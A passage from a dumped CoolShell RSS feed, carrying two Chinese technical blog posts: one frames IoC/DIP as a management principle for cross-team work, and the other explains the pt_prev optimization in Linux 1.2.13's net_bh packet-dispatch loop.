篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9917.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>IoC/DIP其实是一种管理思想</title>\n\t\t<link>https://coolshell.cn/articles/9949.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9949.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 05 Jul 2013 00:44:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[DIP]]></category>\n\t\t<category><![CDATA[IoC]]></category>\n\t\t<category><![CDATA[Object-Oriented]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9949</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>关于IoC的的概念提出来已经很多年了，其被用于一种面象对像的设计。我在这里再简单的回顾一下这个概念。我先谈技术，再说管理。 话说，我们有一个开关要控制一个灯的开...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9949.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-9957\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-300x200.jpg\" width=\"300\" height=\"200\" /> 关于IoC的的概念提出来已经很多年了，其被用于一种面象对像的设计。我在这里再简单的回顾一下这个概念。我先谈技术，再说管理。</p>\n<p>话说，我们有一个开关要控制一个灯的开和关这两个动作，最常见也是最没有技术含量的实现会是这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/IoC1.jpg\" width=\"240\" height=\"82\" /></p>\n<p>然后，有一天，我们发现需要对灯泡扩展一下，于是我们做了个抽象类：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/IoC2.jpg\" width=\"290\" height=\"183\" /></p>\n<p>但是，如果有一天，我们发现这个开关可能还要控制别的不单单是灯泡的东西，我们就发现这个开关耦合了灯泡这种类别，非常不利于我们的扩展，于是反转控制出现了。</p>\n<p>就像现实世界一样，造开关的工厂根本不关心要控制的东西是什么，它只做一个开关应该做好的事，就是把电接通，把电断开（不管是手动的，还是声控的，还是光控，还是遥控的），而我们的造各种各样的灯泡（不管是日关灯，白炽灯）的工厂也不关心你用什么样的开关，反正我只管把灯的电源接口给做出来，然后，开关厂和电灯厂依赖于一个标准的通电和断电的接口。于是产生了IoC控制反转，如下图：</p>\n<p><span id=\"more-9949\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-9952 aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/07/IoC3.jpg\" width=\"504\" height=\"309\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/07/IoC3.jpg 504w, https://coolshell.cn/wp-content/uploads/2013/07/IoC3-300x183.jpg 300w\" sizes=\"(max-width: 504px) 100vw, 504px\" /></p>\n<p style=\"text-align: left;\"><strong>所谓控制反转的意思是，开关从以前的设备的专用开关，转变到了控制电源的开关，而以前的设备要反过来依赖于开关厂声明的电源连接接口。只要符合开关厂定义的电源连接的接口，这个开关可以控制所有符合这个电源连接接口的设备</strong>。<span style=\"color: #ff0000;\"><strong>也就是说，开关从依赖设备这种情况，变成了，设备反过来依赖于开关所定义的接口</strong></span>。</p>\n<p>只要你看过我的那篇《<a title=\"从面向对象的设计模式看软件设计\" href=\"https://coolshell.cn/articles/8961.html\" target=\"_blank\">面向对象设计其实和面象对象一点关系也没有</a>》，你就知道这样的例子在生活中太多见了。比如说：</p>\n<p style=\"padding-left: 30px;\">1）在交易的过程中，卖家向买家卖东西，一手交钱一手交货，所以，基本上来说卖家和买家必需强耦合（必需见面）。这个时候，银行出来做担保，买家把钱先垫到银行，银行让卖家发货，买家验货后，银行再把钱打给卖家。这就是反转控制。买卖双方把对对方的直接控制，反转到了让对方来依赖一个标准的交易模型的接口。股票交易也是一样的，证交所就是买卖双方的标准交易模型接口。</p>\n<p style=\"padding-left: 30px;\">2）上面这个例子，可能还不明显，再举一个例子。海尔公司作为一个电器制商需要把自己的商品分销到全国各地，但是发现，不同的分销渠道有不同的玩法，于是派出了各种销售代表玩不同的玩法，随着渠道越来越多，发现，每增加一个渠道就要新增一批人和一个新的流程，严重耦合并依赖各渠道商的玩法。实在受不了了，于是制定业务标准，开发分销信息化系统，只有符合这个标准的渠道商才能成为海尔的分销商。让各个渠道商反过来依赖自己标准。反转了控制，倒置了依赖。</p>\n<p><strong>可见，控制反转和依赖倒置不单单的一种设计模式，反而更是一种管理模式。</strong></p>\n<p>在大公司中，有很多很多的团队，这些团队开发的软件有很多依赖，跨团队合作是一件挺麻烦的事情，下面是一些比较真实的示例：</p>\n<p style=\"padding-left: 30px;\">1）一个网页会有很多频道，于是，我们的前端工程师进入到各个页面为各种频道开发他们的页面，随着频道越来越多，前端开发工程师的人数也越来越多，每增加一个频道，就要增加一个为这个频道服务的前端团队，于是，人数越来越多，干成了劳动密集型。为什么不反转控制，倒置依赖呢？前端的同学完全可以开发出各种页面的标准组件，布局，模板，以前与后端交互框架，然后，让后端的同学反过来依赖于前端的标准，使用前端的框架，前端的布局，模板，和组件，以向前端接入后端的模块。</p>\n<p style=\"padding-left: 30px;\">2）一个平台需要接入各种各样的业务系统，这些垂直业务系统都有自己的账号体系，于是这个平台为了要兼这些垂直系统的账号体系以做到权限控制，需要做各个系统和自己系统中的账号映射，并为账号和分配出来的资源设置各垂直系统的标识，还要在自己的代码中要写很多很多的依赖于各种账号体系的代码。其实，一个依赖倒置和反转控制就很简单。开发一个权限体系标准，让接入方的账号系统反过来依赖并控制这个标准的权限系统，从而做出一个干净的系统。</p>\n<p style=\"padding-left: 30px;\">3）还有一个云平台中的管理模式，一些底层服务的开发团队只管开发底层的技术，然后什么也不管了，就交给上层的开发人员，在底层团队的开发出来的产品上面开发各种管理这个底层资源的东西，比如：生产底层资源的业务，底层资源的控制台，底层资源的监控系统。这个让底层团队只干纯技术，不干与底层技术无关的东西，看似很科学，其实是做错了。因为，上层为各个云资源控制生产，开发控制台和监控的团队，随着接入的资源的越来越多，完全干不过来了，苦逼得一塌糊涂，因为底层的资源千差百怪，每接一个就要开发一堆这个产品的代码。这个时候依赖倒置和反转控制又可以解决问题了。很简单，上层为各个云资源控制生产，开发控制台，和监控的团队应该制定一个标准，让底层的IaaS云资源开发团队反过来依赖这个标准，统一接入方式，如果开发的云资源不符我的生产控制模型，没有控制台，不把监控数据喂入我的监控系统，对不起，请不要接入我这个PaaS平台。</p>\n<p style=\"padding-left: 30px;\">4）一个集中式的处理电子商务中的订单的流程。各个垂直业务线都需要通过这个平台来处理自己的交易业务，但是垂直业务线上的个性化需求太多。于是，这个技术平台开始出现了黑魔法——“为了害怕改变数据库表结构，不得不在数据库中预留一些字段，里面存把业务方的个性化字段存成如JSON这样的东西”，并为之自豪认为可以快速解决业务问题（WTF）。然而，恶梦并没就此结束，管理这个技术平台的小组开始发现，对来自各个业务方的需求应接不暇，各种变态需求严重干扰系统，各种技术决定越来越不好做，导致需求排期排不过来。于是，不单单得到了各个业务方的各种抱怨，最可怕的是还有高层老大们压过来的Deadline，加班加点，苦逼之极，最后业务方自己要去一个自己的平台。为什么不用依赖倒置和反转控制的思想呢？开发一个插件模型、工作流引擎和Pub/Sub系统，让业务方的个性化需求可以以插件的方式插入我的订单流程中，业务方自的数据存在自己的库中，业务逻辑也不要侵入我的系统，并可以使用工作流引擎或Pub/Sub的协义标准来自己定义工作流的各个步骤（甚至把工作流引擎的各个步骤的Decider交给各个业务方自行处理）。让各个业务方来依赖于我的标准插件和工作流接口，反转迭控制，让他们来控制我的系统，依赖倒置，让他们来依赖我的标准。（这个团队想过把自己的系统内部开源出去让别的团队也进来参与，可以是可以，但一定要用Linux/Git这种方式，允许出现多个分支，多个发行版。但多个版本又造成了多个业务平台，这会上上层垂直业务不知所措）</p>\n<p style=\"padding-left: 30px;\">5）看过《<a title=\"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">SteveY对Amazon和Google平台的吐槽</a>》的人都知道，Amazon内部系统的SOA架构（这个SOA架构离IBM定义的那个非常变态的SOA还有一定距离），但是这基本上都是依赖倒置和控制反转的思路了—— <strong>与其让我来帮你实现你的业务逻辑，不如把我的业务逻辑开放成服务的方式让你来控制</strong>。</p>\n<p style=\"padding-left: 30px;\">6）再说一个我在Amazon经历的例子。有一个项目是在给Amazon的各个商区（Marketplace）做国际出口的业务，我们先把Media类的产品（书，DVD之类的）做国际出口开放，项目不难，就是让商家同意一个法律协议（上传自己的签名），然后后台小改一下。美国的，欧洲的做的都没有问题，物流团队在出口报关单上打的都是Amazon仓库的地址和商家的签名（本来这就是错的，打的应该是商家的地址和商家的签名），但是到了日本，就出了问题，因为日本海关即要日文信息，也要商家的英文名和英文地址，而我们的系统里面只有商家的日文信息。本来，这是一个挺简单的事——数据库里加两个字段，在那个同意条款的网页上收集一下商家的英文名和地址，然后把这些信息传给后面的物流团队。物流团队一看这个，发现搞不了，因为他还要传给仓库，N多的地方都要加这两个字段，还要写下各种if (site == JP)这样的判断。物流团队不蛮干，重新设计自己的系统。做一个Document Template的东西，这个就是那个那个要贴在物流盒子上的单子。再也不让各个业务团队把那些信息传过来，而是把这个Document Template的东西传给上面的业务方，他们想怎么写就怎么写， 写完后，把这个东西传回来。于是，大家依赖了一个标准的协议，而不是一其字段。（当然，这个改动过多，为此改了半年多，不过非常值）</p>\n<p>所以说啊，在跨团队的工作中，</p>\n<ul>\n<li>如果依赖和控制的东西过多了，就需要制定标准，倒置依赖，反转控制。</li>\n</ul>\n<ul>\n<li>控制欲望最好不要太强，不要想着能干所有的事情，要学会控制反转和依赖倒置原则。否则只会引火烧身。</li>\n</ul>\n<ul>\n<li>反转控制和依赖倒置是一种智慧。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"需求变化与IoC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_title\">需求变化与IoC</a></li><li ><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9949.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>66</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-9.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 9 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=9\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sat, 26 Dec 2020 05:42:13 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Alan Cox：单向链表中prev指针的妙用</title>\n\t\t<link>https://coolshell.cn/articles/9859.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9859.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Sun, 30 Jun 2013 04:27:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Alan Cox]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Kernel]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[network]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9859</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 之前发过一篇二级指针操作单向链表的例子，显示了C语言指针的灵活性，这次再探讨一个指针操作链表的例子，而且是一种完全不同的用...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9859.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><figure id=\"attachment_9906\" aria-describedby=\"caption-attachment-9906\" style=\"width: 200px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-9906\" title=\"Alan Cox\" alt=\"Alan Cox\" src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-200x300.jpg\" width=\"200\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-200x300.jpg 200w, https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-180x270.jpg 180w, https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox.jpg 667w\" sizes=\"(max-width: 200px) 100vw, 200px\" /><figcaption id=\"caption-attachment-9906\" class=\"wp-caption-text\">Alan Cox</figcaption></figure></p>\n<p><span style=\"color: #cc0000;\"><strong> （感谢网友 </strong></span><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><span style=\"color: #cc0000;\"><strong> 投稿）</strong></span></p>\n<p>之前发过一篇<a href=\"https://coolshell.cn/articles/8990.html\" target=\"_blank\">二级指针操作单向链表</a>的例子，显示了C语言指针的灵活性，这次再探讨一个指针操作链表的例子，而且是一种完全不同的用法。</p>\n<p>这个例子是linux-1.2.13网络协议栈里的，关于链表遍历&#038;数据拷贝的一处实现。源文件是/net/inet/dev.c，你可以从<a href=\"https://www.kernel.org/pub/linux/kernel/v1.2/\" target=\"_blank\">kernel.org</a>官网上下载。</p>\n<p>从最早的0.96c版本开始，linux网络部分一直采取TCP/IP协议族实现，这是最为广泛应用的网络协议，整个架构就是经典的OSI七层模型的描述，其中dev.c是属于链路层实现。从功能上看，其位于网络设备驱动程序和网络层协议实现模块之间，作为二者之间的数据包传输通道，一种接口模块而存在——对驱动层的接口函数netif_rx, 以及对网络层的接口函数net_bh。前者提供给驱动模块的中断例程调用，用于链路数据帧的封装；后者作为驱动中断例程<strong>底半部(buttom half)</strong>，用于对数据帧的解析处理并向上层传送。</p>\n<p>为了便于理解，这里补充一下网络通信原理和linux驱动中断机制的背景知识。从最底层的物理层说起，当主机和路由器相互之间进行通信的时候，在物理介质上（同轴、光纤等）以电平信号进行传输。主机或路由器的<strong>硬件接口（网卡）</strong>负责收发这些信号，当信号发送到接口，再由内置的<strong>调制解调器(modem)</strong>将数字信号转换成二进制码，这样才能驻留在主机的硬件缓存中。这时接口（网卡）设备驱动程序将通过<strong>硬中断</strong>来获取硬件缓存中的数据，驱动程序是操作系统中负责直接同硬件设备打交道的模块，硬中断的触发是初始化时通过设置控制寄存器实现的，用于通知驱动程序硬件缓存中有新的数据到来。linux卡设备驱动就是在<strong>中断处理例程(ISR)</strong>中将硬件缓存数据拷贝到内核缓存中，打包成数据链路帧进行解析处理，再向上分发到各种协议层。由于ISR上下文是原子性的、中断屏蔽的，整个步骤又较为繁琐，因此全部放在ISR中处理会影响到其它中断响应实时性，于是linux有实现一种bottom half的<strong>软中断</strong>处理机制，将整个ISR一分为二，前半部上下文屏蔽所有中断，专门处理紧急的、实时性强的事务，如拷贝硬件缓存并打包封装，后半部上下文没有屏蔽中断（但代码不可重入），用于处理比较耗时且非紧急事务，包括数据帧的解析处理和分发。下面要讲的net_bh就属于后半部。</p>\n<p>我们主要关心的是将链路帧分发到协议层那一段逻辑，下面摘自net_bh函数中的一段代码：</p>\n<p><span id=\"more-9859\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">526 void net_bh(void *tmp)\n527 {\n       ...\n577\n578    /*\n579    * We got a packet ID.  Now loop over the &quot;known protocols&quot;\n580    * table (which is actually a linked list, but this will\n581    * change soon if I get my way- FvK), and forward the packet\n582    * to anyone who wants it.\n583    *\n584    * [FvK didn&#039;t get his way but he is right this ought to be\n585    * hashed so we typically get a single hit. The speed cost\n586    * here is minimal but no doubt adds up at the 4,000+ pkts/second\n587    * rate we can hit flat out]\n588    */\n589   pt_prev = NULL;\n590   for (ptype = ptype_base; ptype != NULL; ptype = ptype-&gt;next)\n591   {\n592    if ((ptype-&gt;type == type || ptype-&gt;type == htons(ETH_P_ALL)) &amp;&amp; (!ptype-&gt;dev || ptype-&gt;dev==skb-&gt;dev))\n593    {\n594      /*\n595      * We already have a match queued. Deliver\n596      * to it and then remember the new match\n597      */\n598      if(pt_prev)\n599      {\n600        struct sk_buff *skb2;\n601        skb2=skb_clone(skb, GFP_ATOMIC);\n602        /*\n603        * Kick the protocol handler. This should be fast\n604        * and efficient code.\n605        */\n606        if(skb2)\n607          pt_prev-&gt;func(skb2, skb-&gt;dev, pt_prev);\n608      }\n609      /* Remember the current last to do */\n610      pt_prev=ptype;\n611    }\n612   } /* End of protocol list loop */\n613   /*\n614   * Is there a last item to send to ?\n615   */\n616   if(pt_prev)\n617     pt_prev-&gt;func(skb, skb-&gt;dev, pt_prev);\n618   /*\n619    *  Has an unknown packet has been received ?\n620    */\n621   else\n622     kfree_skb(skb, FREE_WRITE);\n623\n      ...\n640 }</pre>\n<p>在此稍稍解说一下数据结构，skb就是内核缓存中sock数据封装，协议栈里从链路层到传输层都会用到，只不过封装格式不同，主要是对<strong>协议首部(header)</strong>的由下而上层层剥离（反之由上而下是层层创建），在此你只需理解为一个链路数据帧即可。这段代码的逻辑是解析skb中的协议字段，从协议类型链表（由ptype_base维护）中查询对应的协议节点进行函数指针func回调，以便将数据帧分发到相应的协议层（如ARP、IP、8022、8023等）。</p>\n<p>第一眼看上去是不是有点奇怪？这段代码竟然用一个pt_prev指针去维护ptype链表中前一个节点，从而产生了额外的条件分支判断，咋一看是否多了很多“余”了？回顾一下那篇<a href=\"https://coolshell.cn/articles/8990.html\" target=\"_blank\">二级指针操作单向链表</a>的博文，简直完全是反其道而行之的。如果把pt_prev去掉，代码可以精简为：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">  for (ptype = ptype_base; ptype != NULL; ptype = ptype-&gt;next)\n  {\n    if ((ptype-&gt;type == type || ptype-&gt;type == htons(ETH_P_ALL)) &amp;&amp; (!ptype-&gt;dev || ptype-&gt;dev==skb-&gt;dev))\n    {\n        /*\n        * We already have a match queued. Deliver\n        * to it and then remember the new match\n        */\n        struct sk_buff *skb2;\n        skb2=skb_clone(skb, GFP_ATOMIC);\n        /*\n        * Kick the protocol handler. This should be fast\n        * and efficient code.\n        */\n        if(skb2)\n            pt_prev-&gt;func(skb2, skb-&gt;dev, pt_prev);\n    }\n} /* End of protocol list loop */\n\nkfree_skb(skb, FREE_WRITE);</pre>\n<p>咋看一下“干净”了很多，不是吗？但我们要记住一点，凡是网上发布的linux内核源代码，都是都是经过众多黑客高手们重重检视并验证过的，人家这么写肯定有十分充足的理由，所以不要太过于相信自己的直觉了，让我们再好好review一下代码吧！看看这段循环里做了什么事情？特别是第592~611行。</p>\n<p>由于从网络上拷贝过来skb是唯一的，而分发的协议对象可能是多个，所以在回调之前要做一次clone动作（注意这里是深度拷贝，相当于一次kmalloc）。分发之后还需要调用kfree_skb释放掉原始skb数据块，它的历史使命到此完成了，没有保留的必要（第622行）。<strong>注意，这两个动作都是存在内核开销的。</strong></p>\n<p>然而这里为啥要pt_prev维护一个后向节点呢？这是有深意的，它的作用就是将当前匹配协议项的回调操作延时了。举个例子，如果链表遍历中找到某个匹配项，当前循环仅仅用pt_prev去记录这个匹配项，除此之外不做任何事情，待到下一次匹配项找到时，才去做上一个匹配项pt_prev的回调操作，直到循环结束，才会去做最后的匹配项的回调（当然pt_prev==NULL表示没有一次匹配，直接释放掉），所以这是一种<strong>拖延战术</strong>。有什么好处呢？就是比原先节省了很多不必要的操作。那么哪些操作是不必要的呢？这里我们逆向思考一下，我们看到clone是在协议字段匹配并且pt_prev!=NULL的前提条件下执行的，而kfree是在pt_prev==NULL的前提条件下执行的。在此可以假设一下，如果ptype链表中存在N项协议与之匹配，那么这段代码只会执行N-1次clone，而没有pt_prev时将会执行N次clone和1次kfree，再如果ptype链表中有且仅有一项协议与之匹配，那么整个循环既不会执行到第601行的clone，也不会执行到第622行的kfree。</p>\n<p>也就是说，<strong>当整个链表至少有一项匹配的一般情况下，pt_prev存在比没有时减少了一次clone和一次kfree的开销；只有全部不匹配的最差情况下，两者都只做一次kfree动作，持平。这就是延迟策略产生的效益</strong>。</p>\n<p>熟悉TCP/IP协议族的开发人员应该知道<strong>MTU（最大传输单元）</strong>这个概念，遵循不同协议的MTU值是不同的。比如以太网帧MTU是1500个字节，802.3帧MTU是1492字节，PPP链路帧MTU是269字节，而超通道MTU理论上是65535字节。要知道在一个高速吞吐量通信网络环境下，在大块数据分片传输线路里，在内核级别代码中，减少一处系统开销意味着什么？</p>\n<p>其实我们完全可以抛开一切网络协议相关知识，这不过是一段极其普通的单向链表操作而已，逻辑并不复杂。但是看看人家顶级黑客是怎么思考和coding的，对比一下自己写过的代码，多少次数据处理是用一个简单的for循环匆匆敷衍了事而没有进一步思考其中的粗陋和不合理之处？面对真正的编程高手这种“心计”与“城府”，你是不是有种莫名不安感？你会怀疑你真的了解怎么去使用和操作C语言中基本的链表数据结构么？如果答案是肯定的，那就开始颤抖吧（哈，别误会，其实上面这段话不过是笔者的自我告解罢了）~~~</p>\n<p>最后，让我们感谢尊敬的<a href=\"http://en.wikipedia.org/wiki/Alan_Cox\" target=\"_blank\">Alan Cox</a>大大对Linux社区卓越精细、无与伦比的贡献！（Alan是图中中部戴红帽子的那位）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"Linux Kernel Team\" src=\"http://old.lwn.net/images/ks/group2.jpg\" width=\"704\" height=\"323\" /></p>\n<p><strong>附注：</strong></p>\n<p>最新的Linux-2.6.x版本中协议栈实现部分变动很大，但/net/core/dev.c的netif_receive_skb函数里仍然保留了pt_prev这种用法，目的是一样的，都是为了减少一次系统开销的优化操作。</p>\n<p>关于Alan，他在斯旺西大学工作时，在学校服务器上安装了一个早期的linux版本，供学校使用。他修正了许多的问题，重写了网络系统中的许多部份。随后成为linux内核开发小组中的重要成员。<a href=\"http://en.wikipedia.org/wiki/Alan_Cox\" target=\"_blank\">Alan Cox</a>负责维持2.2版，在2.4版上拥有自己的分支（在版本号上会冠上ac，如 2.4.13-ac1）。他的分支版本非常稳定，修正许多错误，许多厂商都使用他的版本。在他去进修工商管理硕士之前，涉入许多linux内核开发的事务，在社群中有很高的地位，有时会被视为是Linus之下的第二号领导者。</p>\n<p>不过，今年1月28日的时候，Alan因为家庭原因宣布退出Linux项目了，下面是他Google+的声明：</p>\n<blockquote><p>“I’m leaving the Linux world and Intel for a bit for family reasons, I’m aware that ‘family reasons’ is usually management speak for ‘I think the boss is an asshole’ but I’d like to assure everyone that while I frequently think Linus is an asshole (and therefore very good as kernel dictator) I am departing quite genuinely for family reasons and not because I’ve fallen out with Linus or Intel or anyone else. Far from it I’ve had great fun working there.”</p></blockquote>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" 